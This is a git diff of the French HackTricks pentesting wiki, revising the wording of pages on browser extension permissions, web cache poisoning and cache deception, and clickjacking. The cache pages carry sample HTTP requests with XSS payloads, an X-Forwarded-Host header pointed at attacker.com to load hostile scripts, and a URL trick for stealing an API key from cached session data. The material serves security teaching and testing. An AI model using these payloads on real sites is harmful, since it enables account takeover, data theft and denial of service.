publicitaire dans l'un de vos onglets, et elle peut également activer l'onglet correspondant. ### Webcam, géolocalisation et compagnie -Vous savez probablement que les sites web peuvent demander des autorisations spéciales, par exemple pour accéder à votre webcam (outils de visioconférence) ou à votre emplacement géographique (cartes). Il s'agit de fonctionnalités avec un potentiel considérable d'abus, donc les utilisateurs doivent confirmer à chaque fois qu'ils le souhaitent. +Vous savez probablement que les sites web peuvent demander des autorisations spéciales, par exemple pour accéder à votre webcam (outils de visioconférence) ou à votre emplacement géographique (cartes). Il s'agit de fonctionnalités avec un potentiel d'abus considérable, donc les utilisateurs doivent confirmer à chaque fois qu'ils le souhaitent. {% hint style="danger" %} -Ce n'est pas le cas avec les extensions de navigateur. **Si une extension de navigateur** [**veut accéder à votre webcam ou microphone**](https://developer.mozilla.org/fr/docs/Web/API/MediaDevices/getUserMedia)**, elle n'a besoin de demander la permission qu'une seule fois** +Ce n'est pas le cas avec les extensions de navigateur. **Si une extension de navigateur** [**veut accéder à votre webcam ou microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, elle n'a besoin de demander la permission qu'une seule fois** {% endhint %} -En général, une extension le fera immédiatement après son installation. Une fois cette demande acceptée, **l'accès à la webcam est possible à tout moment**, même si l'utilisateur n'interagit pas avec l'extension à ce moment-là. Oui, un utilisateur n'acceptera cette demande que si l'extension a vraiment besoin d'accéder à la webcam. Mais après cela, il doit faire confiance à l'extension pour ne pas enregistrer secrètement quoi que ce soit. +Généralement, une extension le fera immédiatement après son installation. Une fois cette demande acceptée, **l'accès à la webcam est possible à tout moment**, même si l'utilisateur n'interagit pas avec l'extension à ce moment-là. Oui, un utilisateur n'acceptera cette demande que si l'extension a vraiment besoin d'accéder à la webcam. Mais après cela, il doit faire confiance à l'extension pour ne pas enregistrer secrètement quoi que ce soit. -Avec l'accès à [votre emplacement géographique exact](https://developer.mozilla.org/fr/docs/Web/API/Geolocation) ou au [contenu de votre presse-papiers](https://developer.mozilla.org/fr/docs/Web/API/Clipboard_API), il n'est pas nécessaire de donner une autorisation explicite. **Une extension ajoute simplement `geolocation` ou `clipboard` à l'entrée des** [**permissions**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de son manifeste**. Ces privilèges d'accès sont alors accordés implicitement lors de l'installation de l'extension. Ainsi, une extension malveillante ou compromise avec ces privilèges peut créer votre profil de déplacement ou surveiller votre presse-papiers pour des mots de passe copiés sans que vous ne remarquiez quoi que ce soit. +Avec l'accès à [votre emplacement géographique exact](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ou au [contenu de votre presse-papiers](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API), il n'est pas nécessaire de donner une autorisation explicite. **Une extension ajoute simplement `geolocation` ou `clipboard` à l'entrée des** [**permissions**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de son manifeste**. Ces privilèges d'accès sont alors accordés implicitement lors de l'installation de l'extension. Ainsi, une extension malveillante ou compromise avec ces privilèges peut créer votre profil de déplacement ou surveiller votre presse-papiers pour des mots de passe copiés sans que vous ne remarquiez quoi que ce soit. -Ajouter le mot-clé **`history`** à l'entrée des [permissions](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) du manifeste de l'extension accorde **l'accès à l'** [**API de l'historique**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/history). Cela permet de récupérer l'intégralité de l'historique de navigation de l'utilisateur en une seule fois, sans attendre que l'utilisateur visite à nouveau ces sites web. +Ajouter le mot-clé **`history`** à l'entrée des [permissions](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) du manifeste de l'extension accorde **l'accès à l'** [**API de l'historique**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Cela permet de récupérer l'intégralité de l'historique de navigation de l'utilisateur en une seule fois, sans attendre que l'utilisateur visite à nouveau ces sites web. -La **permission `bookmarks`** a un potentiel d'abus similaire, celle-ci permet de **lire tous les favoris via l'** [**API des favoris**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). +La **permission `bookmarks`** a un potentiel d'abus similaire, celle-ci permet de **lire tous les favoris via l'** [**API des favoris**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). ### Permission de stockage -Le stockage de l'extension est simplement une collection clé-valeur, très similaire à [localStorage](https://developer.mozilla.org/fr/docs/Web/API/Window/localStorage) que n'importe quel site web pourrait utiliser. Ainsi, aucune information sensible ne devrait être stockée ici. +Le stockage de l'extension est simplement une collection clé-valeur, très similaire à [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) que n'importe quel site web pourrait utiliser. Ainsi, aucune information sensible ne devrait être stockée ici. Cependant, les entreprises de publicité pourraient également abuser de ce stockage. ### Plus de permissions -Vous pouvez trouver la [**liste complète des permissions qu'une extension de navigateur Chromium peut demander ici**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) et une [**liste complète pour les extensions Firefox ici**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +Vous pouvez trouver la [**liste complète des permissions qu'une extension de navigateur Chromium peut demander ici**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) et une [**liste complète pour les extensions Firefox ici**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.** ## Prévention -La politique des développeurs de Google interdit explicitement aux extensions de demander plus de privilèges que nécessaire pour leur fonctionnalité, atténuant ainsi les demandes excessives de permissions. Un cas où une extension de navigateur a dépassé cette limite impliquait sa distribution avec le navigateur lui-même plutôt que par le biais d'un magasin d'extensions. +La politique du développeur de Google interdit explicitement aux extensions de demander plus de privilèges que nécessaire pour leur fonctionnalité, atténuant ainsi les demandes de permissions excessives. Un cas où une extension de navigateur a outrepassé cette limite impliquait sa distribution avec le navigateur lui-même plutôt que par le biais d'un magasin d'extensions. -Les navigateurs pourraient également limiter davantage les abus des privilèges des extensions. Par exemple, les API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) et [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilisées pour l'enregistrement d'écran, sont conçues pour minimiser les abus. L'API tabCapture ne peut être activée que par une interaction directe de l'utilisateur, comme en cliquant sur l'icône de l'extension, tandis que desktopCapture nécessite une confirmation de l'utilisateur pour enregistrer la fenêtre, empêchant ainsi les activités d'enregistrement clandestines. - -Cependant, renforcer les mesures de sécurité entraîne souvent une diminution de la flexibilité et de la convivialité des extensions. La [permission activeTab](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustre ce compromis. Elle a été introduite pour éliminer le besoin pour les extensions de demander des privilèges d'hôte sur l'ensemble d'Internet, permettant aux extensions d'accéder uniquement à l'onglet actuel sur activation explicite par l'utilisateur. Ce modèle est efficace pour les extensions nécessitant des actions initiées par l'utilisateur, mais il est insuffisant pour celles nécessitant des actions automatiques ou préventives, compromettant ainsi la commodité et la réactivité immédiate. +Les navigateurs pourraient également limiter davantage les abus des privilèges des extensions. Par exemple, les API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) et [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilisées pour l'enregistrement d'écran, sont conçues pour minimiser les abus. L'API tabCapture ne peut être activée que par une interaction directe de l'utilisateur, comme en cliquant sur l'icône de l'extension, tandis que desktopCapture nécessite une confirmation de l'utilisateur pour que la fenêtre soit enregistrée, empêchant les activités d'enregistrement clandestines. +Cependant, le renforcement des mesures de sécurité entraîne souvent une diminution de la flexibilité et de la convivialité des extensions. La **permission activeTab** illustre ce compromis. Elle a été introduite pour éliminer le besoin pour les extensions de demander des privilèges d'hôte sur l'ensemble d'Internet, permettant aux extensions d'accéder uniquement à l'onglet actuel sur activation explicite par l'utilisateur. Ce modèle est efficace pour les extensions nécessitant des actions initiées par l'utilisateur, mais il est insuffisant pour celles nécessitant des actions automatiques ou préventives, compromettant ainsi la commodité et la réactivité immédiate. ## **Références** * [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) @@ -128,12 +127,12 @@ Cependant, renforcer les mesures de sécurité entraîne souvent une diminution Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -D'autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md index 00ffa9a3a..d8c601144 100644 --- a/pentesting-web/cache-deception.md +++ b/pentesting-web/cache-deception.md @@ -14,10 +14,10 @@ Autres façons de soutenir HackTricks : -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -26,8 +26,8 @@ Accédez dès aujourd'hui : > **Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?** > -> * Dans l'**empoisonnement de cache web**, l'attaquant fait en sorte que l'application stocke un contenu malveillant dans le cache, et ce contenu est servi à partir du cache à d'autres utilisateurs de l'application. -> * Dans la **tromperie de cache web**, l'attaquant fait en sorte que l'application stocke un contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu à partir du cache. +> * Dans l'**empoisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi à partir du cache à d'autres utilisateurs de l'application. +> * Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu à partir du cache. ## Empoisonnement de cache @@ -36,8 +36,8 @@ L'empoisonnement de cache vise à manipuler le cache côté client pour forcer l L'exécution d'une attaque d'empoisonnement de cache implique plusieurs étapes : 1. **Identification des entrées non clés** : Il s'agit de paramètres qui, bien qu'ils ne soient pas nécessaires pour qu'une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. L'identification de ces entrées est cruciale car elles peuvent être exploitées pour manipuler le cache. -2. **Exploitation des entrées non clés** : Après avoir identifié les entrées non clés, l'étape suivante consiste à comprendre comment exploiter ces paramètres pour modifier la réponse du serveur de manière à bénéficier à l'attaquant. -3. **S'assurer que la réponse empoisonnée est mise en cache** : La dernière étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. De cette manière, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse contaminée. +2. **Exploitation des entrées non clés** : Après avoir identifié les entrées non clés, la prochaine étape consiste à comprendre comment exploiter ces paramètres pour modifier la réponse du serveur de manière à bénéficier à l'attaquant. +3. **S'assurer que la réponse empoisonnée est mise en cache** : La dernière étape consiste à garantir que la réponse manipulée est stockée dans le cache. De cette manière, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse contaminée. ### Découverte : Vérifier les en-têtes HTTP @@ -45,9 +45,9 @@ Généralement, lorsqu'une réponse a été **stockée dans le cache**, il y aur ### Découverte : Mise en cache du code 400 -Si vous pensez que la réponse est mise en cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, qui devrait être répondu par un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous saurez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).\ +Si vous pensez que la réponse est mise en cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, qui devrait être répondu par un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un déni de service).\ Un en-tête mal configuré pourrait être simplement `\:` en tant qu'en-tête.\ -_Notez que parfois ce type de codes d'état n'est pas mis en cache, donc ce test sera inutile._ +_Notez que parfois ces types de codes d'état ne sont pas mis en cache, donc ce test sera inutile._ ### Découverte : Identifier et évaluer les entrées non clés @@ -64,7 +64,7 @@ Avec le paramètre/l'en-tête identifié, vérifiez comment il est **sanitisé** Une fois que vous avez **identifié** la **page** qui peut être exploitée, quel **paramètre**/**en-tête** utiliser et **comment** l'**exploiter**, vous devez mettre en cache la page. Selon la ressource que vous essayez de mettre en cache, cela pourrait prendre du temps, vous pourriez devoir essayer pendant plusieurs secondes.\ L'en-tête **`X-Cache`** dans la réponse pourrait être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'était pas mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\ L'en-tête **`Cache-Control`** est également intéressant pour savoir si une ressource est mise en cache et quand la prochaine fois la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`\ -Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît l'`User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce `User-Agent` spécifique.\ +Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît le `User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce `User-Agent` spécifique.\ Un autre en-tête lié au cache est **`Age`**. Il définit le temps en secondes pendant lequel l'objet a été dans le cache proxy. Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que vous utilisez** car certains d'entre eux pourraient être **utilisés de manière inattendue** comme **clés** et la **victime devra utiliser le même en-tête**. Testez toujours un empoisonnement de cache avec **différents navigateurs** pour vérifier s'il fonctionne. @@ -73,7 +73,7 @@ Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que ### Exemple le plus simple -Un en-tête comme `X-Forwarded-For` est reflété dans la réponse non sanitisé.\ +Un en-tête comme `X-Forwarded-For` est reflété dans la réponse non sanitisée.\ Vous pouvez envoyer une charge utile XSS de base et empoisonner le cache afin que tout le monde qui accède à la page soit XSSé : ```markup GET /en?region=uk HTTP/1.1 @@ -90,11 +90,11 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` ### Empoisonnement du cache avec traversée de chemin pour voler la clé API -[**Cette explication**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) montre comment il était possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` car tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête est arrivée au serveur web. +[**Ce compte rendu explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` car tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête est arrivée au serveur web. ### Utilisation de plusieurs en-têtes pour exploiter les vulnérabilités d'empoisonnement du cache web -Parfois, vous devrez **exploiter plusieurs entrées non clés** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver une **redirection ouverte** si vous définissez `X-Forwarded-Host` sur un domaine contrôlé par vous et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** redirige toutes les **requêtes HTTP** vers HTTPS et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection. Vous pouvez contrôler vers où la page est redirigée. +Parfois, vous devrez **exploiter plusieurs entrées non clés** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver une **redirection ouverte** si vous définissez `X-Forwarded-Host` sur un domaine contrôlé par vous et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** redirige **toutes les requêtes HTTP** vers HTTPS et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection. Vous pouvez contrôler vers où la page est dirigée par la redirection. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -112,18 +112,18 @@ X-Host: attacker.com ``` ### Exploiter la falsification du cache HTTP en abusant du Smuggling de Requêtes HTTP -Apprenez ici comment effectuer des attaques de falsification du cache en abusant du Smuggling de Requêtes HTTP. +Apprenez ici comment effectuer des attaques de [Falsification du Cache en abusant du Smuggling de Requêtes HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). -### Test automatisé pour la falsification du cache Web +### Test automatisé pour la Falsification du Cache Web Le [Scanner de Vulnérabilité du Cache Web](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement la falsification du cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable. Exemple d'utilisation : `wcvs -u example.com` -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -140,19 +140,19 @@ L'envoi d'une mauvaise valeur dans l'en-tête de type de contenu a déclenché u ### GitLab + CP-DoS GCP -GitLab utilise des compartiments GCP pour stocker du contenu statique. Les **compartiments GCP** prennent en charge l'en-tête `x-http-method-override`. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et de falsifier le cache pour renvoyer un corps de réponse vide. Il pouvait également prendre en charge la méthode `PURGE`. +GitLab utilise des buckets GCP pour stocker du contenu statique. Les **buckets GCP** prennent en charge l'en-tête `x-http-method-override`. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et de falsifier le cache pour renvoyer un corps de réponse vide. Il pouvait également prendre en charge la méthode `PURGE`. ### Middleware Rack (Ruby on Rails) -Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le code Rack a pour but de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, entraînant potentiellement un déni de service (DoS) sur cette ressource. De plus, l'application pourrait reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript à partir du serveur d'un attaquant, posant un risque de sécurité. +Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le but du code Rack est de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, entraînant potentiellement un déni de service (DoS) pour cette ressource. De plus, l'application pourrait reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript à partir du serveur d'un attaquant, posant un risque de sécurité. -### 403 et Compartiments de Stockage +### 403 et Buckets de Stockage Cloudflare mettait précédemment en cache les réponses 403. Tenter d'accéder à S3 ou aux blobs de stockage Azure avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy. ### Injection de Paramètres Clés -Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, Varnish de Fastly mettait en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée en URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le paramètre `size` correct. Cependant, le backend traiterait la valeur dans le paramètre encodé en URL. L'encodage en URL du deuxième paramètre `size` entraînait son omission par le cache mais son utilisation par le backend. Assigner une valeur de 0 à ce paramètre entraînait une erreur 400 Bad Request mise en cache. +Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, Varnish de Fastly mettait en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée en URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le paramètre `size` correct. Cependant, le backend traiterait la valeur du paramètre encodé en URL. L'encodage en URL du deuxième paramètre `size` entraînait son omission par le cache mais son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre entraînait une erreur 400 Bad Request mise en cache. ### Règles de l'Agent Utilisateur @@ -168,9 +168,9 @@ Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caract ## Falsification du Cache -L'objectif de la falsification du cache est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**. +L'objectif de la Falsification du Cache est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**. -Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache**. Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'extension `.js`. Cependant, si l'**application** rejoue avec le **contenu sensible** de l'utilisateur stocké dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus à d'autres utilisateurs. +Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache**. Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'**extension** `.js`. Cependant, si l'**application** rejoue avec le **contenu sensible** de l'utilisateur stocké dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus à d'autres utilisateurs. Autres choses à tester : @@ -185,9 +185,9 @@ Un autre exemple très clair peut être trouvé dans ce compte rendu : [https:// Dans l'exemple, il est expliqué que si vous chargez une page inexistante comme _http://www.example.com/home.php/non-existent.css_, le contenu de _http://www.example.com/home.php_ (**avec les informations sensibles de l'utilisateur**) va être renvoyé et le serveur de cache va enregistrer le résultat.\ Ensuite, l'**attaquant** peut accéder à _http://www.example.com/home.php/non-existent.css_ dans son propre navigateur et observer les **informations confidentielles** des utilisateurs qui ont accédé auparavant. -Notez que le **proxy de cache** doit être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_ aura un type de contenu `text/html` au lieu d'un type MIME `text/css` (qui est celui attendu pour un fichier _.css_). +Notez que le **proxy de cache** devrait être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_ aura un type de contenu `text/html` au lieu d'un type MIME `text/css` (qui est celui attendu pour un fichier _.css_). -Apprenez ici comment effectuer des attaques de falsification du cache en abusant du Smuggling de Requêtes HTTP. +Apprenez ici comment effectuer des [attaques de Falsification du Cache en abusant du Smuggling de Requêtes HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). ## Outils Automatiques @@ -202,23 +202,23 @@ Apprenez ici comment effectuer des attaques de falsification du cache en abusant * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) * [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) -
+
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : - {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! -D'autres façons de soutenir HackTricks : +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +Autres façons de soutenir HackTricks: + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index ddaa29c60..4d12b8145 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -8,13 +8,13 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
